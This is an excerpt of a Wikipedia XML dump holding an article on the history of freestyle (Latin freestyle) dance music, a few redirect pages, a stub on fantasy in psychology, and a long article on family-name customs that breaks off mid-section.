'''Freestyle''' or '''Latin freestyle''', also called '''Latin hip hop''' in its early years, is a form of [[electronic music]] that is heavily influenced by [[Hispanic]] and [[African-American]] culture. Freestyle emerged around 1982 and hit its peak in 1989. It continues to be produced today and enjoys some degree of popularity, especially in urban Latino population centers. Another popular modern genre [[Florida breaks]] evolved from this sound.

The music first developed primarily in northeastern U.S. states like [[New York]], [[Pennsylvania]], and [[New Jersey]]. Initially, it was a fusion of the vocal styles found in [[1970s]] [[disco]] music with the syncopated, synthetic instrumentation of [[1980s]] [[Electro (music)|electro]], as favored by fans of [[breakdancing]]. It was also influenced by [[sampling (music)|sampling]], as found in [[hip hop music]]. In the [[1990s]], the electro and hip hop influences were supplanted by [[house music]]. Freestyle music based on house rather than electro is sometimes referred to as '''freestyle house'''. 

==Musical heritage==
Before [[1982]], hip hop was based on rather traditional genres, typically funk and disco tracks such as ''Good Times'' by [[Chic]]. It was only the rapping that clearly made the distinction as to what constituted a rap track. 

The music of early rap records was performed live in the studio and then mixed with the rapping, whereas live hip hop was [[two turntables and a microphone]] with DJs such as [[Kool DJ Herc]], [[Afrika Bambaataa]] and [[Grandmaster Flash]]. Herc was a [[Jamaica]]n, and in the beginning he brought the Jamaican tradition of [[dee jaying]] (toasting) and mixing to the [[Bronx]], NY. In the end, Jamaican and African American traditions merged into the new music called hip hop.

===''Planet Rock''===
Herc first tried to make people listen to the [[reggae]] tracks from [[Jamaica]] but it didn't work. Then he started using [[funk]] and [[soul music|soul]] records, focusing on the instrumental breaks. The ''Ultimate Breaks and Beats'' series includes tracks from &quot;''Mary Mary''&quot; to &quot;''Apache''&quot; which have been sampled many times and are still used today by hip hop DJs. Of course, this music was organic rather than electronic. But hip hop DJs discovered weird sounds from [[Europe]] such as [[Kraftwerk]]'s ''Numbers'', [[Art of Noise]]'s &quot;''Beatbox''&quot; and ''[[Trans Europe Express]]'', which, although electronic, were funky and danceable. Back then, this music was called [[techno music|techno]].

With Baker and Robie, Afrika Bambaataa mixed famous samples from [[Kraftwerk]]'s ''Trans Europe Express'' and ''Numbers'' with funkier sounds inspired by [[Captain Sky]]'s ''Super Sperm'' and taking melodic elements from a rock version of [[Ennio Morricone]]'s ''The Mexican''. The result: ''[[Planet Rock]]'' ([[1982]]) by [[Afrika Bambaataa|Afrika Bambaataa]] and the Soul Sonic Force, a track that transformed hip hop music.

This new style of hip hop came to be called Electro Funk. A group of young singers named [[Planet Patrol]] recorded a sung version of Planet Rock, ''Play at your own risk'', also produced by Baker and Robie. Electro Funk was to rule hip hop for the next few years, both in NY and LA ([[Egyptian Lover]], [[World Class Wreckin Cru]]), and in Miami, a new kind of hip hop called [[Miami Bass]] would emerge. [[House music]] was also heavily influenced by [[Electro (music)|Electro Funk]]. [[John Robie]] and [[Arthur Baker]] realized the potential of the new genre and went on mixing the sound with [[R&amp;B]] Vocals: ''I.O.U.'' by [[Freeez]] featuring [[John Rocca]] was an instant club hit, charting high and becoming an instant classic on numerous compilations.

===The music===
It is a genre with rather clear features: a dance tempo with stress on beats 2 &amp; 4; syncopation on a [[bassline]], lead synth, or [[Percussion_instrument|percussion]], with optional [[stab (music)|stab]]s (provided as synthesized brass or orchestral [[sampling (music)|sample]]s); 16th beat high-hat; a [[chord progression]] which lasts 8, 16, or 32 beats and is usually in a minor key; relatively complex, upbeat melodies with singing, verses, and a chorus, with themes about [[love]] or [[dancing]]. Freestyle music in general is heavily influenced by Latin music, especially with respect to rhythms and brass/horn and keyboard parts. The Latin &quot;[[clave]]&quot; rhythm can be felt in many songs (such as in the defining ''Clave Rocks'' by Amoretto). The tempo of Freestyle music is almost always between 110 and 130 [[beats per minute]] (BPM), typically around 118 BPM. The keyboard parts are often elegant and clever, with many short melodies and countermelodies, again a strong influence from Latin music.

==Early cultural effects==
The new exciting sounds rejuvenated the funk, soul and hip hop club scenes. While most of the neighborhood clubs were closing their doors for good, some [[Manhattan]] clubs were suddenly thriving. Places like the [[Roxy]], the [[Funhouse]], [[Broadway 96]], [[Gothams West]], and [[Roseland]] that played this were packed. Records like &quot;Play At Your Own Risk&quot; by [[Planet Patrol]], &quot;One More Shot&quot; by [[C-Bank]], &quot;Numbers&quot; by [[Kraftwerk]], &quot;Al-Naafiyish (The Soul)&quot; by [[Hashim]] and &quot;I.O.U.&quot; by [[Freeez]] became huge hits. Some producers wisely copied the sound and made songs that were more melodic. Records like &quot;I Remember What You Like&quot; by [[Jenny Burton]], &quot;Running&quot; by soon-to-be pop stars [[Information Society]], and &quot;Let The Music Play&quot; and &quot;Give Me Tonight&quot; by [[Shannon (singer)|Shannon]] were all over [[New York]] radio. Many people list ''Let the Music Play'' as the first freestyle track. Indeed, ''Let the Music Play'' became freestyle's biggest record, still getting heavy airplay through radio and other venues. The song was produced by [[Chris Barbosa]], a [[Latino]] from NY. Barbosa changed and refined the electro funk sound, adding Latin American rhythms and a totally [[syncopated]] [[drum]] sound. That was definitely a reason why the style came to be very popular among Latinos as well as [[Italian Americans]]. Furthermore, many DJs who played the music, such as [[John Benitez|Jellybean]], [[Tony Torres]], [[Raul Soto]] and [[Roman Ricardo]] were [[Hispanic]]. However, those on stage performing the songs were not, neither were most of the producers making the music. For example, Information Society's notable hit &quot;Running&quot;, was written by Murat Konar, whom is of Indian descent, and produced by the band, which is of Scandinavian descent. This marks a notable merging of underground Hispanic and African-American urban cultures, hence, the names ''Latin Hip Hop'' or ''Latin Freestyle''. Now, the more neutral term ''Freestyle'' is generally preferred.  

[[KPWR]] (Power 106) in Los Angeles and [[WQHT-FM (Hot 97)]] in New York began playing hits by artists like [[TKA]], [[Sweet Sensation]], and [[Expose]] on the same playlists as Pop superstars like [[Michael Jackson]] and [[Madonna (entertainer)|Madonna]]. Tracks like TKA's ''One Way Love'' and Sweet Sensation's ''Hooked On You'' received new life and the success of these tracks as well as the just-released ''Show Me'' by the [[Cover Girls]] helped get them added to stations around the country. &quot;(You Are My) All and All.&quot; by [[Joyce Simms]] became the first Freestyle record to cross over into the [[R&amp;B]] market. It was also one of the first Freestyle records to crack the European market. Although still in its early stages, Freestyle was now getting national attention, and was fast becoming dance music for the 80s.

==The Miami scene==
Not only electro was very popular in [[Miami]], also freestyle was embraced with the southern Latin capital of the US. [[Pretty Tony]], a.k.a. Tony Butler, actually first made electro, then bass and finally freestyle. He had a one man group called Freestyle and his success would begin in 1983 with the hit single 'Fix it in the Mix' and later that year a strong showing with artist [[Debbie Deb]] singing &quot;When I Hear Music&quot;. Joining him in early 1984 New York rapper [[TK Rodriguez]] fronted the group Fastlane and would release the single 'Young Ladies' Hip hop's first southern track. That year TK introduced Pretty Tony to [[Arthur Baker]], [[Kurtis Blow]] and Afrika Bambataa and he worked alongside Butler on Debbie Deb's 'Look Out Weekend'. Rodriguez' introduction of freestyle singer [[Trinere]] would become Butler's most successful artist and production.

[[Company B]], [[Stevie B]], [[Paris By Air (band) | Paris By Air]],[[Linear (band) | Linear]], [[Will To Power (band) | Will To Power]], and [[Exposé]]'s later hits defined Miami Freestyle. Many labels confused New York Freestyle and Miami Freestyle, thinking they had the same audience. They thought their promotional strategy would work for both genres, which resulted in skipping the all too important step of cultivating a record at the street and club level before going to radio. This often led to poor results for the New York-based Freestyle. New York Freestyle, even in its most polished forms, retained a raw edge and underground sound, using minor chords that made the tracks darker and more moody. The lyrics also tended to be about unrequited love or other more somber themes, dealing with the reality of what inner city teens were experiencing emotionally.

Miami records on the other hand, tended to be more optimistic, using major chords similar to those used in early disco giving them a more upbeat sound. This is probably why the Miami records fared better at mainstream Pop radio than New York Freestyle. Some Miami artists like [[Stevie B]], after doing their first shows in the New York market, saw the difference and began using the Miami sound combined with New York Freestyle, often with successful results.

==Freestyle as a pop-crossover genre==
By 1989, [[Freestyle]] was at its peak as an underground genre. Around this time, [[Lisa Lisa and Cult Jam]], one of the first Latino freestyle acts to get behind the microphone, began to make it big on the freestyle scene. Their records were produced by [[Full Force]], who also made [[UTFO]]'s music and even once worked together with [[James Brown (musician)|James Brown]]. The music of [[Lisa Lisa and Cult Jam]] was less electro and more pop, and that was also probably the reason why groups such as [[Lisa Lisa and Cult Jam]], [[TKA]], [[Sweet Sensation]] and especially the [[Cover Girls]] were able to crossover into the pop market at the end of the 1980s.

Soon thereafter, however, freestyle was seemingly swallowed up by the mainstream pop industry: [[MC Hammer]], [[Paula Abdul]], [[Bobby Brown]], [[New Kids On The Block]] and [[Milli Vanilli]] had definite freestyle influences, with their hip hop beats and electro samples, but were undoubtedly a new pop-mainstream form of the underground dance music of the 1980s, repackaged with catchier tunes, slicker production and [[MTV]]-friendly videos. Along with this pop appropriation of the genre and the success of these artists, not only on crossover stations but R&amp;B stations as well, freestyle ceased to be as important as an underground genre, giving way to newer genres, such as [[Gangsta rap]] and new forms of [[Dance music]] coming from Europe and [[Detroit]], such as [[House music|House]], [[Trance music|Trance]] and [[Rave]], which seemed younger, fresher and newer than their freestyle influences.

==Selected freestyle hits==

{| border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; align=&quot;center&quot; width=&quot;90%&quot;
|-
|valign=&quot;top&quot;|
'''[[1980s]]'''

* [[Alisha (singer) | Alisha]] - ''Baby Talk''
* [[C-Bank]] - ''One More Shot''
* [[Carmen]] - ''You &amp; Me''
* [[Company B]] - ''Fascinated''
* [[Coro]] - ''Where Are You Tonight''
* [[Cover Girls]] - ''Show Me''
* [[Cynthia (singer)|Cynthia]] - ''Thief Of Heart''
* [[Debbie Deb]] - ''When I Hear Music''
* [[Exposé (band)|Exposé]] - ''Come Go With Me''
* [[Freeez]] - ''I.O.U.''
* [[Freestyle Express|Freestyle]] - ''Don't Stop The Rock''
* [[Hanson and Davis]] - ''Hungry For Your Love''
* [[Information Society]] - ''Running''
* [[Jaya]] - ''If You Leave Me Now''
* [[Joyce Sims]] - ''(You Are My) All And All''
* [[John Benitez|Jellybean]] - ''The Mexican''
* [[Johnny O]] - ''Fantasy Girl''
* [[Judy Torres]] - ''Come Into My Arms''
* [[Leather &amp; Lace]] - ''Let Your Body Go''
* [[Lisa Lisa &amp; Cult Jam]] - ''Can You Feel The Beat''
* [[Nancy Martinez]] - ''For Tonight''
* [[Nayobe]] - ''Please Don't Go''
* [[Nice N Wild]] - ''Diamond Girl''
* [[Nocera]] - ''Summertime, Summertime''
* [[Noel]] - ''Silent Morning'' (First dance song to address the AIDS epidemic)
* [[Nolan Thomas]] - ''Yo, Little Brother''
* [[Pajama Party]] - ''Yo No Sé''
* [[Planet Patrol]] - ''Play At Your Own Risk''
* [[Pretty Poison]] - ''Catch Me (I'm Falling)''
* [[Sa-Fire]] - ''Boy, I've Been Told''
* [[Shannon (singer)|Shannon]] - ''[[Let The Music Play]]'' (released in September 1983)
* [[Stevie B]] - ''In My Eyes''
* [[Sweet Sensation]] - ''Hooked on You''
* [[Trinere]] - ''How can we be wrong''
* [[Timex Social Club]] - ''Rumors''
* [[Tina B]] - ''Honey To A Bee''
* [[TKA]] - ''Scars of Love''
* [[Will To Power]] - ''Dreamin'''
|valign=&quot;top&quot;|
'''[[1990s]]'''
* [[Alisha (singer) | Alisha]] - ''Bounce Back''
* [[Angelina (singer)|Angelina]] - ''Release Me''
* [[Angelique]] - ''I Can't Live Without You''
* [[Buffy]] - ''Give Me a Reason''
* [[Collage (singer)|Collage]] - ''I'll Be Loving You''
* [[Corina]] - ''Temptation''
* [[Coro (singer)|Coro]] - ''Fallen Angel''
* [[Clear Touch]] - ''Cherish''
* [[Cynthia (singer)|Cynthia]] - ''If I Had The Chance''
* [[George Lamond]] - ''Distant Heart''
* [[Intonation]] - ''Free My Love''
* [[Jocelyn Enriquez]] - ''I've Been Thinking About You''
* [[Lil' Johanna]] - ''Take Me In Your Arms Again''
* [[Lil' Suzy]] - ''Promise Me''
* [[Lina Santiago]] - ''Feel So Good''
* [[Joei Mae]] - ''He's My Baby'' 
* [[Lisette Melendez]] - ''Together Forever''
* [[Manuella]] - ''Don't Try To Come Back''
* [[Natalie]] - ''I Want Your Love''
* [[Nina Bena]] - ''Sweetheart''
* [[Planet Soul]] - ''Set You Free''
* [[Rochelle]] - ''Praying For An Angel''
* [[Rockell]] - ''In A Dream''
* [[Rockell]] &amp; [[Collage (singer)|Collage]] - ''Can't We Try''
* [[Samantha]] - ''Be Sure''
* [[Spanish Fly]] - &quot;Treasure Of My Heart&quot;
* [[Timmy T]] - &quot;Time After Time&quot;
* [[Two In A Room]] - ''El Trago''
|}

==The &quot;freestyle&quot; name==

Why freestyle is actually called freestyle is subject to speculation.

Some feel the term ''freestyle'' may refer to the difference between the mixing techniques used by DJs spinning this form of music (at least in its pre-house incarnations) and those who were spinning disco, the only other widely played dance music that incorporated sung vocals. Disco, with its relatively predictable beat structure, could be mixed with smooth, slow, and consistent techniques, but freestyle's syncopated beat structures demanded that DJs get creative, incorporating aspects of both disco and [[hip hop]] techniques; they often had to (or had more freedom to) mix more quickly and more responsively to the individual pieces of music.

Others believe it refers to the vocal technique: singing melodic pop vocals over the kind of beats that were previously used only with rap and semi-chanted electro-funk vocal styles was a form of &quot;freestyling&quot; —getting creative by mixing up the styles— somewhat akin to the use of the term in reference to competitive, &quot;[[freestyle rap]].&quot;

Another explanation is that the dancing associated with this music allows for a great degree of freedom of expression than the other music that was prevalent at the time. Each individual dancer is &quot;free&quot; to create his or her own &quot;style.&quot;

Many have despised the term, saying that there is nothing &quot;free&quot; about music that is little more than &quot;Planet Rock&quot;-style beats underpinning ballads, mostly sung by females, about love, romance, and having a good time.

==References==
* [http://www.jam2dis.com/j2dfmhist1.htm Joey Gardner's Homepage] (respected authority on Freestyle House)
* [http://www.digitaldreamdoor.com/pages/best_dance-free.html 100 Greatest Freestyle Songs]
* [http://www.digitaldreamdoor.com/pages/best_dance-elec.html 100 Greatest Electro Songs]
* [http://www.alishafans.com/alishafans.com]


{{hiphop}}
{{House_music-footer}}

[[Category:House music genres]]

[[hu:Freestyle house]]</text>
    </revision>
  </page>
  <page>
    <title>French Rap</title>
    <id>10809</id>
    <revision>
      <id>15908603</id>
      <timestamp>2003-01-19T09:32:57Z</timestamp>
      <contributor>
        <username>Lorenzarius</username>
        <id>4308</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[French hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>Fantasy (psychology)</title>
    <id>10810</id>
    <revision>
      <id>38320666</id>
      <timestamp>2006-02-05T15:53:36Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de, nl</comment>
      <text xml:space="preserve">:''See [[fantasy]] for an account of the literary genre involving the development of common or popular fantasies.''
----
A '''fantasy''' is a situation imagined by an individual or group, which does not correspond with [[reality]] but expresses certain [[desire]]s or aims of its creator. Fantasies typically involve situations which are [[impossible]] (such as the existence of magic powers) or highly un[[likely]] (such as world peace). Fantasies can also be [[sexual fantasy|sexual]] in nature. 

An adult who constantly seems to be living in a fantasy world may be considered a [[Walter Mitty]] character.

==See also==
* [[Hallucination]]
* [[Phantasy]]

[[Category:Psychology]]
{{Psych-stub}}
[[da:Fantasi]]
[[de:Phantasie]]
[[eo:Fantazio]]
[[fr:Fantasme]]
[[nl:Fantasie en dagdromen]]
[[sv:Fantasi]]</text>
    </revision>
  </page>
  <page>
    <title>Friedrich Wilhelm Bessel</title>
    <id>10811</id>
    <revision>
      <id>15908605</id>
      <timestamp>2002-07-24T02:04:58Z</timestamp>
      <contributor>
        <ip>193.189.177.177</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Friedrich Bessel]]</text>
    </revision>
  </page>
  <page>
    <title>Fantasy/authors</title>
    <id>10812</id>
    <revision>
      <id>15908606</id>
      <timestamp>2002-10-10T19:09:30Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Fantasy author]]</text>
    </revision>
  </page>
  <page>
    <title>Family name</title>
    <id>10814</id>
    <revision>
      <id>42110594</id>
      <timestamp>2006-03-03T22:11:35Z</timestamp>
      <contributor>
        <username>Rodasmith</username>
        <id>291611</id>
      </contributor>
      <minor />
      <comment>/* Pakistan */ paragraph break</comment>
      <text xml:space="preserve">A '''family name''', or '''surname''', is the part of a person's [[name]] that indicates to what [[family]] he or she belongs. The use of family names is not universal throughout history. In many parts of the world, they did not appear in common use until the [[17th century|17th]] to [[19th century|19th centuries]], and in some cultures they are not used today. In many cultures of Asia, the family name is typically spoken or written first when referring to an individual, while in most Western cultures, the family name is last, giving rise to the term '''last name''' for family name.
{{TOCleft}}

The word ''surname'' is &quot;[[name]]&quot; [[prefix]]ed by the French word ''sur'' (meaning &quot;on&quot;), which derives from [[Latin]] ''super'' (&quot;over&quot;). In the past it was sometimes spelled ''sirname'' or ''sirename'' (suggesting that it meant &quot;man's name&quot; or &quot;father's name&quot;) due to [[fake etymology]].

In [[English language|English]]-, [[Dutch language|Dutch]]-, [[German language|German]]- and [[French language|French]]-speaking countries, people often have two or more [[given name]]s (first and [[Middle name|middle]]), and the family name goes at the end. (Occasionally a surname is called the &quot;second name&quot;, which can be confused with the middle name.) In [[Spanish language|Spanish]], people have one or more given names and two family names, one from the father and one from the mother. In [[Italy]], people may have one or more given name, no middle name, and a family name, which is listed first in most documents, e.g. '''''Rossi''' Mario'' or '''''Neri''' Elisabetta''.

The use of family names varies among cultures. In particular, [[Iceland]]ers, [[Tibetan people|Tibetan]]s, [[Burmese]], and [[Javanese]] often do not use a family name &amp;mdash; well-known people lacking a family name include [[U Thant]] (Burmese), [[Suharto]] and [[Sukarno]] (see [[Indonesian names]]). Also, many [[royal family|royal families]] do not use family names. In many cultures, few non-aristocratic families had surnames prior to the period 15th-19th century.

A woman's family name traditionally changes upon marriage in some cultures, although few countries mandate such a change. Other modern options include combining both family names, changing neither name, or creating a new name, e.g. combining letters of previous surnames or creating a [[pseudonym]] unrelated to the previous surnames.

In the 19th century, [[Francis Galton]] published a statistical study of the extinction of family names. (''See [[Galton-Watson process]] for an account of some of the mathematics.'')

==English-speaking countries==
Most surnames of English origin fall into six types:
* Occupations (e.g. ''[[Smith (surname)|Smith]]'', ''Baker'', ''Archer'')
* Personal characteristics (e.g. ''Short'', ''Brown'', ''Whitehead'')
* Geographical features (e.g. ''Scott'', ''Hill'', ''Rivers'', ''[[Windsor, Berkshire|Windsor]]'')
* Place names (e.g. Jack from London might be called Jack ''London'').
* For those descended from [[peers]], the name of their holdings or estate.
* Ancestry, often from a male's given name (e.g. ''Richardson'', ''James'') or from a clan name (for those of Scottish origin, e.g. ''Macdonald'', ''Forbes'').

The original meaning of the name may no longer be obvious in modern English (e.g. the surname ''Cooper'' meant ''barrel maker''). A much smaller sixth category of names relates to religion, though some of this category are also occupations. The names ''Bishop'', ''Priest'', or ''Abbot'', for example, usually indicate that an ancestor worked for a bishop, a priest or an abbot. 

In the Americas, the family names of many African-Americans have their origins in [[slavery]]. Many of them were given the surnames of their owners. Many freed slaves created family names themselves, or adopted the name of their former master. Others, such as [[Muhammad Ali]] and [[Malcolm X]], changed their name rather than live with one given to their ancestors by a slave owner.

It has long been the custom for women to change their surname upon marriage from their ''birth name'' (or ''[[maiden name]]'') to their husband's last name. From the late 1960s through the early 1990s, a small but increasing percentage of women chose to keep their birth name, or a hyphenated form of it, when they married. This trend has since reversed itself, particularly in the United States, where fewer and fewer women are now keeping their maiden name upon marriage. Even in families where the wife has kept her birth name, parents often choose to give their children their father's family name. In English-speaking countries, married women traditionally were called ''Mrs. [Husband's full name]'', though recently they are more often called ''Mrs. [Wife's first name] [Husband's surname]''.

In the [[Middle Ages]], when a man from a lower status family married an only daughter from a higher status family, he would take the wife's family name. In the 18th and 19th centuries in Britain, bequests were sometimes made contingent upon a man changing (or hyphenating) his name, so that the name of the legator continued.  Although it is now rare for English-speaking men to take the name of their wives, some men still choose to do so (especially among Canadian aboriginal groups) or, very rarely, a married couple may choose a new last name entirely. 

As an alternative, the husband and wife may adopt a [[double-barrelled name]]. For instance, when John Smith and Mary Jones marry each other, they may become known as ''John Smith-Jones'' and ''Mary Smith-Jones''. However, some consider the extra length of the hyphenated names undesirable. A wife may also opt to use her maiden name for her middle name, giving her the option of referring to herself as either ''Mrs. Smith'' or ''Mary Jones Smith''.

In some jurisdictions, a woman's legal name used to change automatically upon marriage. Although women may now easily choose to change to their [[married name]], that change is no longer the default. In some places, civil rights lawsuits or constitutional amendments changed the law so that men could also easily change their married names, e.g. in [[British Columbia]].

Women in [[academia]] who have previously published articles in academic journals under their maiden name often do not change their surname after marriage, in order to ensure that they continue to receive credit for their past and future work.  This practice is also common among female physicians, attorneys, and other professionals for whom continuity is important.

Spelling of names in past centuries is often assumed to be a deliberate choice by a family, but due to very low literacy rates the reality is that many families could not provide the spelling of their surname, and so the scribe, clerk, minister, or official would write down the name on the basis of how it was spoken. This results in  many variations, some of which occurred when families moved to another country. The officially-recorded spellings tended to become the standard for that family.

==French-speaking countries==
French-speaking countries have many similarities to English-speaking ones in the way family names are used. In [[France]] and the [[Canada|Canadian]] province of [[Quebec]], name change upon marriage is no longer automatic. Those who wish to change their name upon marriage must follow the same legal procedure as would be used under any other circumstance.

In France, until January 1, 2005, children were required by law to take the surname of their father. From this date, article 311-21 of the French [[Civil code]] permits parents to give their children either the name of their father, mother, or a hyphenation of both - although no more than two names can be hyphenated. In cases of disagreement the father's name applies [http://www2.cnrs.fr/presse/communique/601.htm]. This brought France into line with a 1978 declaration by the [[Council of Europe]] requiring member governments to take measures to adopt equality of rights in the transmission of family names, a measure that was echoed by the United Nations in 1979. Similar measures were adopted by [[Germany]] (1976), [[Sweden]] (1982), [[Denmark]] (1983) and [[Spain]] (1999).

Furthermore, in [[Canada|French Canada]], up until the late 1960s, children of [[Catholic]] origin were given three names at birth (usually not hyphenated): the first, Marie or Joseph, usually indicated the gender of the child. The second was usually the name of the [[godfather]] or [[godmother]], while the third and last given name was the name used in everyday situations. Thus, a child prenamed Joseph Bruno Jean on his birth or baptismal certificate would indicate the baby to be a boy, the godfather's first name to be Bruno and that the child would be called Jean (and not Joseph) for all intents and purposes of everyday life. This naming convention was in the most part dropped following the [[Quiet Revolution]] (late 1960s), and is now seen much more rarely.

==Ireland==
{{details|Irish name}}

Many surnames in Ireland of [[Irish language|Gaelic]] origin derive from ancestor's names; [[nicknames]]; or descriptive names. In the first group can be placed surnames such as ''Mac Murrough'' and ''Mac Carthy'', derived from father's names, or ''O'Brien'' and ''O'Toole'', derived from ancestral names.  

Gaelic surnames derived from nicknames include ''O'[[Doherty]]'' (from ''dochartaigh'', &quot;destroyer&quot; or &quot;obtrusive&quot;), ''Garvery'' (''garbh'', &quot;rough&quot; or &quot;nasty&quot;), ''Manton'' (''mantach'', &quot;toothless&quot;), ''Bane'' (''bán'', &quot;white&quot;, as in &quot;white hair&quot;), ''Finn'' (''fionn'', &quot;fair&quot;, as in &quot;fair hair&quot;), and ''Kennedy'' (''cinnéide'', &quot;ugly head&quot;).

In contrast to [[England]], very few Gaelic surnames are derived from place names. Among those that included in this small group, several can be shown to be [[bastardization|bastardizations]] of Gaelic personal names or surnames.

In areas where certain family names are extremely common, extra names are added that sometimes follow this archaic pattern. In [[Ireland]], for example, where ''Murphy'' is an exceedingly common name, particular Murphy families or extended families are nicknamed, so that [[Denis Murphy]]'s family were called ''The Weavers'' and Denis himself was called ''Denis &quot;The Weaver&quot; Murphy''. (See also [[O'Hay]].)

For much the same reason, nicknames (e.g. the ''Fada Burkes'', &quot;the long/tall ''Burkes''&quot;), father's names (e.g. ''John Morrissey Ned'') or mother's maiden name (''Kennedy'' becoming ''Kennedy-Lydon'') can become colloquial or legal surnames. The Irish family of de Courcy Ireland became so-named to distinguish them from their cousins who moved to France in the 17th and 18th centuries.

In addition to all this, Irish speaking areas still follow the old tradition of naming themselves after their father, grandfather, great-grandfather and so on. Examples include ''Mike Bartly Pat Reilly'' (&quot;Mike, son of Bartholomew, son of Pat Reilly&quot;), ''John Michel John Oge Pat Breanach'' (&quot;John, son of Michael, son of young John, son of Pat Breanach&quot;), ''Tom Paddy-Joe Seoige'' (&quot;Tom, son of Paddy-Joe Seoige&quot;), and ''Mary Bartly Mike Walsh'' (&quot;Mary, daughter of Bartly, son of Mike Walsh&quot;). Sometimes, the female line of the family is used, depending on how well the parent is known in the area the person resides, e.g. ''Paddy Mary John'' (&quot;Paddy, son of Mary, daughter of John&quot;). A similar tradition continues even in English-speaking areas, especially in rural districts.

===Irish surname prefixes===
* ''Mac'': Irish for &quot;son&quot;, usually shortened to ''Mc'', also used in most other Gaelic languages.
* ''Mac Giolla'': Irish for &quot;son of the devotee of a saint&quot;, or &quot;son of a man whose name was perhaps ''Giolla Pádraig'' or ''(Mac) Giolla Bhrighde''&quot;. Similar is the use of ''St. George'' and ''St. John'' as forenames in England in the 18th and 19th century.  
* ''Maol'': In Pagan times this was expressed as ''Mug'', as in the case of [[Mug Nuada]]. The literal expression of this is &quot;slave of ''Nuada''&quot;, i.e. &quot;devotee of ''Nuada''&quot;. In the [[Christian]] era the word ''Mael'' was used in its place for given names such as ''Mael Bridget'', ''Mael Padraig'', ''Mael Sechlainn'', and ''Mael Martain''. In later times, some of these given names evolved into surnames, e.g. ''Ó Máel Sechlainn'' and ''Mac Mael Martain''.
* ''Fitz'': a [[Norman language|Norman-French]] word derived from the [[Latin]] word ''filius'' (&quot;son&quot;). It was used in [[patronymic|patronymics]] by thousands of men in the early [[Normans|Norman]] period in [[Ireland]] (e.g. ''fitz Stephen'', ''fitz Richard'', ''fitz Robert'', ''fitz William'') and only on some occasions did it become used as an actual surname, the most famous example being the ''[[FitzGerald]]'' [[Earl of Kildare|Earls of Kildare]]. Yet well into the 17th and 18th century it was used in certain areas dominated by the [[Old English (Ireland)|Old English]] of [[Ireland]] in its original form, as a [[patronymic]]. [[The Tribes of Galway]] were especially good at conserving this form, with examples such as ''John fitz John Bodkin'' and ''Michael Lynch fitz Arthur'', used even as late as the early 1800's. Despite claims to the contrary, the use of ''Fitz'' in a surname never denoted illegitimacy. This misunderstanding may have originated because a number of illegitimate members of the British royal family were given such surnames: some of the illegitimate children of [[Charles II of England|King Charles II]] were named ''FitzCharles'' or ''FitzRoy'' (&quot;son of the King&quot;); those of [[James II of England|King James II]] were named ''FitzJames''; those of [[William IV of the United Kingdom|Prince William, Duke of Clarence and St Andrews]] (later King William IV) were named ''FitzClarence''.
* ''Ó'': In Old Irish as ''ua'' (&quot;grandson&quot;, &quot;descendant&quot;). E.g., the ancestor of the [[O'Brien clan]], [[Brian Boru]] (937-1014) was known in his lifetime as ''Brian mac Lorcán mac Cennéide'' (&quot;Brian, the son of ''Lorcán'', the son of ''Cennéide''&quot;). Not untill the time of his grandsons and great-grandsons was the name ''[[O'Brien]]'' used as a surname, used to denote descent from an illustrious [[ancestor]]. It has for some three hundred years been written as ''O&lt;nowiki&gt;'&lt;/nowiki&gt;'', but in recent years the apostrophe is often dropped, bringing it into line with early medieval forms.
* ''Uí'': This is the plural of ''Ó'' and is used in reference to a kin-group or clan, e.g. ''Uí Néill'', in reference to the ''O'Neill'' clan. Pronounced &quot;ee&quot;.
* ''Ní'': This is used in the Irish Language instead of ''O'' before a surname and comes a shortened form of the Irish word for a daughter, e.g. ''Máire Ní Bhriain'' (&quot;Mary O'Brien&quot;).
* ''Nic'': Compressed form of ''iníon mhic'' (&quot;daughter of Mac...&quot;), e.g. ''Máire Nic Charthaigh'' (&quot;Mary, daughter of McCarthy&quot;).
* ''Bean'': &quot;Wife&quot;, pronounced as ''ban''.

==Italy==
''See also: [[:Category:Italian surnames|Italian surnames category]].''

[[Italy|Italian]] names are mostly derived from Latin, but since Italy has been often ruled by foreigners, many surnames are of Spanish, French, German, Norman or Swiss origin (and thus often [[Romance language]] names).  Beginning in the 14th century, it became necessary to add a [[second name]] to distinguish between individuals with the same surname.  

Italian surnames are especially easy to recognize because most end in a vowel, like nearly all words in [[Standard Italian]], and many of them have been derived from descriptive nicknames.

Italian surnames developed from four major sources: patronym (e.g. ''Francesco di Marco'', &quot;Francis, son of Mark&quot;), occupation (e.g. ''Giovanni Fabbri'', &quot;John the Smith&quot;), personal characteristic (e.g. nicknames or pet names like ''Dario Forte'', &quot;Darius the Strong&quot;), and geographic origin (e.g. ''Elisabetta Romano'', &quot;Elisabeth from Rome&quot;).

Few family names are still in the original Latin, and usually they indicate from or with pretensions to antiquity, e.g. ''de Judicibus'' or ''de Laurentis''. If the family was noble, the ''de'' has lowercase ''d'', otherwise it is uppercase.

==Greece==
Greek surnames usually describe occupation or characteristics. Some are prefixed with ''papa-'', indicating ancestry from a priest. Common patronymic suffixes are ''-poulos'' ([[Peloponessus]]), ''-idis'', ''-iadis'' ([[Pontus]]), ''-akis'' ([[Crete]]), ''-atos'' ([[Ionian sea]]), ''-ellis'' ([[Lesbos_Island|Lesvos Island]]). The suffix ''-idis'' survives from the ancient times (''-ides'') for patronymic epithets. [[Zeus]], for example was also referred to as ''[[Cronides]]'' (&quot;son of [[Cronus]]&quot;).

==Pakistan==
[[Pakistan]]i surnames are basically divided in two categories: tribal names and ancestral names.

